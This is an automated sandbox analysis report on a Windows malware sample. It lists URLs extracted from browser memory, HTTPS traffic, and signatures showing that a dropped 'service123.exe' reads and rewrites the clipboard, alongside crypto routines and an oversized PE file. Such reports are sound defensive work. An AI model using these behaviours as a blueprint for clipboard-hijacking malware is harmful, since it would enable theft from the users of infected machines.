Source: chrome.exe, 00000003.00000003.1855530007.00003D8400C98000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://issuetracker.google.com/161903006
Source: chrome.exe, 00000003.00000003.1855530007.00003D8400C98000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://issuetracker.google.com/166809097
Source: chrome.exe, 00000003.00000003.1855530007.00003D8400C98000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://issuetracker.google.com/184850002
Source: chrome.exe, 00000003.00000003.1855530007.00003D8400C98000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://issuetracker.google.com/187425444
Source: chrome.exe, 00000003.00000003.1855530007.00003D8400C98000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://issuetracker.google.com/220069903
Source: chrome.exe, 00000003.00000003.1855530007.00003D8400C98000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://issuetracker.google.com/229267970
Source: chrome.exe, 00000003.00000003.1855530007.00003D8400C98000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://issuetracker.google.com/250706693
Source: chrome.exe, 00000003.00000003.1855530007.00003D8400C98000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://issuetracker.google.com/253522366
Source: chrome.exe, 00000003.00000003.1855530007.00003D8400C98000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://issuetracker.google.com/255411748
Source: chrome.exe, 00000003.00000003.1855530007.00003D8400C98000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://issuetracker.google.com/258207403
Source: chrome.exe, 00000003.00000003.1855530007.00003D8400C98000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://issuetracker.google.com/274859104
Source: chrome.exe, 00000003.00000003.1855530007.00003D8400C98000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://issuetracker.google.com/284462263
Source: chrome.exe, 00000003.00000003.1855530007.00003D8400C98000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1889968087.00003D8400BE4000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://issuetracker.google.com/issues/166475273
Source: chrome.exe, 00000003.00000002.1889968087.00003D8400BE4000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://issuetracker.google.com/issues/1664752737
Source: chrome.exe, 00000003.00000002.1885703054.00003D84004D4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1891141814.00003D8400E48000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1887866655.00003D84007A3000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://keep.google.com/u/0/?usp=chrome_actions#NEWNOTE
Source: chrome.exe, 00000003.00000002.1885703054.00003D84004D4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1891141814.00003D8400E48000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1887866655.00003D84007A3000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://keep.google.com/u/0/?usp=chrome_actions#NEWNOTEkly
Source: chrome.exe, 00000003.00000002.1880734679.000017A400974000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1889205738.00003D8400A0C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://labs.google.com/search/experiment/2
Source: chrome.exe, 00000003.00000002.1880524910.000017A400904000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://labs.google.com/search/experiment/2/springboard
Source: chrome.exe, 00000003.00000003.1844528369.000017A400728000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1843562041.000017A40071C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1880734679.000017A400974000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://labs.google.com/search/experiment/2/springboard2
Source: chrome.exe, 00000003.00000003.1844528369.000017A400728000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1843562041.000017A40071C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1880734679.000017A400974000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://labs.google.com/search/experiment/2/springboardb
Source: chrome.exe, 00000003.00000002.1880524910.000017A400904000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://labs.google.com/search/experiment/2/springboardhttps://labs.google.com/search/experiments
Source: chrome.exe, 00000003.00000002.1889205738.00003D8400A0C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://labs.google.com/search/experiments
Source: chrome.exe, 00000003.00000003.1863230963.00003D840120C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1862869213.00003D8400D84000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1862908580.00003D84003A4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1863136839.00003D8401148000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://lens.google.com/upload
Source: chrome.exe, 00000003.00000003.1863230963.00003D840120C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1862869213.00003D8400D84000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1862908580.00003D84003A4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1863136839.00003D8401148000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://lens.google.com/uploadbyurl
Source: chrome.exe, 00000003.00000003.1845888593.000017A400878000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://lens.google.com/v3/upload
Source: chrome.exe, 00000003.00000002.1880734679.000017A400974000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://lens.google.com/v3/upload2
Source: chrome.exe, 00000003.00000002.1880585035.000017A400920000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://lens.google.com/v3/uploadSidePanelCompanionDesktopM116PlusEnabled_UnPinned_NewTab_20230918P
Source: chrome.exe, 00000003.00000002.1880585035.000017A400920000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://lens.google.com/v3/uploadSidePanelCompanionDesktopM116Plusp?
Source: chrome.exe, 00000003.00000002.1880467092.000017A4008D8000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://lens.google.com/v3/uploadcompanion-iph-blocklisted-page-urlsexps-registration-success-page-u
Source: chrome.exe, 00000003.00000002.1883077847.00003D84001C4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1849893584.00003D84001C8000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://m.google.com/devicemanagement/data/api
Source: chrome.exe, 00000003.00000002.1890588141.00003D8400D4C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://mail.google.com/mail/
Source: chrome.exe, 00000003.00000002.1887577602.00003D84006FD000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://mail.google.com/mail/:
Source: chrome.exe, 00000003.00000002.1887577602.00003D84006FD000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1889246766.00003D8400A3C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1889968087.00003D8400BE4000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://mail.google.com/mail/?usp=installed_webapp
Source: chrome.exe, 00000003.00000002.1887577602.00003D84006FD000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://mail.google.com/mail/J
Source: chrome.exe, 00000003.00000002.1887577602.00003D84006FD000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1889968087.00003D8400BE4000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://mail.google.com/mail/installwebapp?usp=chrome_default
Source: chrome.exe, 00000003.00000002.1886100036.00003D8400500000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1891715195.00003D8400FEC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1887829820.00003D8400778000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://myaccount.google.com/?utm_source=ga-chrome-actions&utm_medium=manageGA
Source: chrome.exe, 00000003.00000002.1891603304.00003D8400F64000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1887829820.00003D8400778000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1886308077.00003D8400524000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://myaccount.google.com/data-and-privacy?utm_source=ga-chrome-actions&utm_medium=managePrivacy
Source: chrome.exe, 00000003.00000002.1891603304.00003D8400F64000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://myaccount.google.com/data-and-privacy?utm_source=ga-chrome-actions&utm_medium=managePrivacyf
Source: chrome.exe, 00000003.00000002.1891603304.00003D8400F64000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1887829820.00003D8400778000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1886308077.00003D8400524000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://myaccount.google.com/find-your-phone?utm_source=ga-chrome-actions&utm_medium=findYourPhone
Source: chrome.exe, 00000003.00000002.1891603304.00003D8400F64000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://myaccount.google.com/find-your-phone?utm_source=ga-chrome-actions&utm_medium=findYourPhoneaf
Source: chrome.exe, 00000003.00000002.1891398132.00003D8400EC4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1887829820.00003D8400778000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://myaccount.google.com/signinoptions/password?utm_source=ga-chrome-actions&utm_medium=changePW
Source: chrome.exe, 00000003.00000003.1859976299.00003D8400FB8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1859532982.00003D8400D84000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1858685496.00003D8400FB8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1888801943.00003D8400973000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1888870888.00003D840097C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://myactivity.google.com/
Source: chrome.exe, 00000003.00000002.1883077847.00003D84001C4000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://oauthaccountmanager.googleapis.com/
Source: chrome.exe, 00000003.00000002.1883159033.00003D840020C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://oauthaccountmanager.googleapis.com/v1/issuetoken
Source: chrome.exe, 00000003.00000002.1892198652.00003D8401114000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://ogs.google.com
Source: chrome.exe, 00000003.00000002.1891057674.00003D8400E1C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1890726445.00003D8400D90000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1856711936.00003D840060C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1889835780.00003D8400BB4000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=1&target=OPTIMIZATION_TARGET_PAGE_TOPICS_
Source: chrome.exe, 00000003.00000002.1891057674.00003D8400E1C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1890726445.00003D8400D90000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1889835780.00003D8400BB4000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=1673999601&target=OPTIMIZATION_TARGET_PAG
Source: chrome.exe, 00000003.00000002.1891057674.00003D8400E1C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1891168467.00003D8400E58000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1890726445.00003D8400D90000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1856711936.00003D840060C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1889835780.00003D8400BB4000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=1678906374&target=OPTIMIZATION_TARGET_OMN
Source: chrome.exe, 00000003.00000002.1890639681.00003D8400D68000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1890726445.00003D8400D90000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1889835780.00003D8400BB4000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=1679317318&target=OPTIMIZATION_TARGET_LAN
Source: chrome.exe, 00000003.00000002.1891057674.00003D8400E1C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1890726445.00003D8400D90000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1856711936.00003D840060C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1889835780.00003D8400BB4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1883422557.00003D84002E0000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=1695049402&target=OPTIMIZATION_TARGET_GEO
Source: chrome.exe, 00000003.00000002.1890726445.00003D8400D90000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1889835780.00003D8400BB4000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=1695049414&target=OPTIMIZATION_TARGET_NOT
Source: chrome.exe, 00000003.00000002.1891057674.00003D8400E1C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1889436839.00003D8400AB4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1891168467.00003D8400E58000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1890726445.00003D8400D90000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1856711936.00003D840060C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1889835780.00003D8400BB4000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=1695051229&target=OPTIMIZATION_TARGET_PAG
Source: chrome.exe, 00000003.00000002.1891168467.00003D8400E58000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1890726445.00003D8400D90000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1856711936.00003D840060C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=210230727&target=OPTIMIZATION_TARGET_CLIE
Source: chrome.exe, 00000003.00000002.1885703054.00003D84004D4000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://optimizationguide-pa.googleapis.com/v1:GetHints
Source: chrome.exe, 00000003.00000003.1859976299.00003D8400FB8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1859532982.00003D8400D84000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1858685496.00003D8400FB8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1888801943.00003D8400973000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1888870888.00003D840097C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://photos.google.com/settings?referrer=CHROME_NTP
Source: chrome.exe, 00000003.00000003.1863230963.00003D840120C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1862908580.00003D84003A4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1863136839.00003D8401148000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://photos.google.com?referrer=CHROME_NTP
Source: chrome.exe, 00000003.00000002.1888870888.00003D840097C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://policies.google.com/
Source: chrome.exe, 00000003.00000002.1882536535.00003D8400098000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://safebrowsing.google.com/safebrowsing/clientreport/chrome-sct-auditing
Source: chrome.exe, 00000003.00000002.1882570757.00003D84000B4000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://sctauditing-pa.googleapis.com/v1/knownscts/length/$1/prefix/$2?key=AIzaSyBOti4mM-6x9WDnZIjIe
Source: chrome.exe, 00000003.00000002.1883077847.00003D84001C4000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://securitydomain-pa.googleapis.com/v1/
Source: chrome.exe, 00000003.00000002.1885703054.00003D84004D4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1891141814.00003D8400E48000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1887866655.00003D84007A3000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://sites.google.com/u/0/create?usp=chrome_actions
Source: chrome.exe, 00000003.00000002.1885703054.00003D84004D4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1891141814.00003D8400E48000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1887866655.00003D84007A3000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://sites.google.com/u/0/create?usp=chrome_actionsactions
Source: chrome.exe, 00000003.00000002.1889205738.00003D8400A0C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://t0.gstatic.com/faviconV2
Source: chrome.exe, 00000003.00000002.1883077847.00003D84001C4000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://tasks.googleapis.com/
Source: chrome.exe, 00000003.00000002.1889757926.00003D8400B74000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.ecosia.org/newtab/
Source: chrome.exe, 00000003.00000002.1889790255.00003D8400B94000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1862689275.00003D8400B90000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1855356973.00003D8400B94000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.ecosia.org/search?q=
Source: chrome.exe, 00000003.00000002.1889790255.00003D8400B94000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1862689275.00003D8400B90000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1855356973.00003D8400B94000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.ecosia.org/search?q=&addon=opensearch
Source: chrome.exe, 00000003.00000002.1889790255.00003D8400B94000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1862689275.00003D8400B90000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1855356973.00003D8400B94000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.ecosia.org/search?q=&addon=opensearchn=opensearch7
Source: chrome.exe, 00000003.00000002.1883963027.00003D8400418000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1886308077.00003D8400524000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.google.com
Source: chrome.exe, 00000003.00000002.1887354394.00003D8400644000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1888801943.00003D8400973000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1889757926.00003D8400B74000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.google.com/
Source: chrome.exe, 00000003.00000002.1889757926.00003D8400B74000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.google.com/Char
Source: chrome.exe, 00000003.00000002.1887969248.00003D84007D8000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.google.com/Char(l3
Source: chrome.exe, 00000003.00000002.1891141814.00003D8400E48000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.google.com/async/ddljson?async=ntp:2
Source: chrome.exe, 00000003.00000002.1891141814.00003D8400E48000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.google.com/async/ddljson?async=ntp:2L
Source: chrome.exe, 00000003.00000002.1892198652.00003D8401114000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1891429818.00003D8400ED4000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.google.com/async/newtab_ogb?hl=en-US&async=fixed:0
Source: chrome.exe, 00000003.00000002.1891576625.00003D8400F38000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1888801943.00003D8400958000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1883077847.00003D84001C4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1888089183.00003D8400830000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.google.com/chrome/tips/
Source: chrome.exe, 00000003.00000002.1891576625.00003D8400F38000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1888801943.00003D8400958000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1883077847.00003D84001C4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1888089183.00003D8400830000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.google.com/chrome/tips/gs
Source: chrome.exe, 00000003.00000002.1890823949.00003D8400DB4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1889939954.00003D8400BD8000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.google.com/complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=
Source: chrome.exe, 00000003.00000003.1862689275.00003D8400B90000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1855356973.00003D8400B94000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: chrome.exe, 00000003.00000003.1863136839.00003D8401148000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.google.com/search?q=$
Source: chrome.exe, 00000003.00000002.1885703054.00003D84004D4000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.google.com/tools/feedback/chrome/__submit
Source: chrome.exe, 00000003.00000002.1889205738.00003D8400A0C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.google.com/undo
Source: chrome.exe, 00000003.00000002.1882101505.00003D8400014000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.googleapis.com/
Source: chrome.exe, 00000003.00000002.1883159033.00003D840020C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.googleapis.com/oauth2/v1/userinfo
Source: chrome.exe, 00000003.00000002.1883159033.00003D840020C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.googleapis.com/oauth2/v2/tokeninfo
Source: chrome.exe, 00000003.00000002.1887202404.00003D84005E0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1883159033.00003D840020C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.googleapis.com/oauth2/v4/token
Source: chrome.exe, 00000003.00000002.1883159033.00003D840020C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1889400932.00003D8400AA0000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.googleapis.com/reauth/v1beta/users/
Source: chrome.exe, 00000003.00000002.1889400932.00003D8400AA0000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.googleapis.com/reauth/v1beta/users/=
Source: chrome.exe, 00000003.00000002.1885703054.00003D84004D4000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.gstatic.com/chrome/intelligence/assist/ranker/models/translate/2017/03/translate_ranker_
Source: chrome.exe, 00000003.00000002.1889757926.00003D8400B74000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/
Source: chrome.exe, 00000003.00000002.1887577602.00003D84006FD000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/:
Source: chrome.exe, 00000003.00000002.1887577602.00003D84006FD000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1887457012.00003D84006A8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1889757926.00003D8400B74000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1889400932.00003D8400AA0000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/?feature=ytca
Source: chrome.exe, 00000003.00000002.1887577602.00003D84006FD000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/J
Source: chrome.exe, 00000003.00000002.1889757926.00003D8400B74000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/QE
Source: chrome.exe, 00000003.00000002.1887577602.00003D84006FD000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1890528111.00003D8400D14000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/s/notifications/manifest/cr_install.html
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49722
Source: unknown Network traffic detected: HTTP traffic on port 49705 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49719 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49722 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49719
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49705
Source: unknown Network traffic detected: HTTP traffic on port 49715 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49715
Contains functionality for read data from the clipboard
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 9_2_6C6D9D11 OpenClipboard,GlobalAlloc,GlobalLock,strcpy,GlobalUnlock,EmptyClipboard,SetClipboardData,CloseClipboard, 9_2_6C6D9D11
Contains functionality to modify clipboard data
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 9_2_6C6D9D11 OpenClipboard,GlobalAlloc,GlobalLock,strcpy,GlobalUnlock,EmptyClipboard,SetClipboardData,CloseClipboard, 9_2_6C6D9D11
Contains functionality to read the clipboard data
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 9_2_6C6D9E27 GetClipboardData,GlobalLock,GlobalUnlock,CloseClipboard, 9_2_6C6D9E27

System Summary
barindex
Drops large PE files
Source: C:\Users\user\Desktop\6dPpCeWDig.exe File dump: service123.exe.0.dr 314617856 Jump to dropped file
PE file contains section with special chars
Source: 6dPpCeWDig.exe Static PE information: section name:
Source: 6dPpCeWDig.exe Static PE information: section name: .idata
Source: 6dPpCeWDig.exe Static PE information: section name:
Abnormal high CPU Usage
Source: C:\Users\user\Desktop\6dPpCeWDig.exe Process Stats: CPU usage > 49%
Detected potential crypto function
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 9_2_00AE51B0 9_2_00AE51B0
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 9_2_00AE3E20 9_2_00AE3E20
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 9_2_6C702CCE 9_2_6C702CCE
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 9_2_6C6CCD00 9_2_6C6CCD00
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 9_2_6C6CEE50 9_2_6C6CEE50
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 9_2_6C6D0FC0 9_2_6C6D0FC0
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 9_2_6C710AC0 9_2_6C710AC0
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 9_2_6C6D44F0 9_2_6C6D44F0
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 9_2_6C7046E0 9_2_6C7046E0
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 9_2_6C7007D0 9_2_6C7007D0
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 9_2_6C6F87C0 9_2_6C6F87C0
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 9_2_6C710060 9_2_6C710060
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 9_2_6C702090 9_2_6C702090
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 9_2_6C6E2210 9_2_6C6E2210
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 9_2_6C6F2360 9_2_6C6F2360
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 9_2_6C71DC70 9_2_6C71DC70
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 9_2_6C793D00 9_2_6C793D00
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 9_2_6C6F98F0 9_2_6C6F98F0
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 9_2_6C6D5880 9_2_6C6D5880
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 9_2_6C707A20 9_2_6C707A20
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 9_2_6C70DBEE 9_2_6C70DBEE
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 9_2_6C70140E 9_2_6C70140E
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 9_2_6C711510 9_2_6C711510
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 9_2_6C70F610 9_2_6C70F610
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 9_2_6C6EF760 9_2_6C6EF760
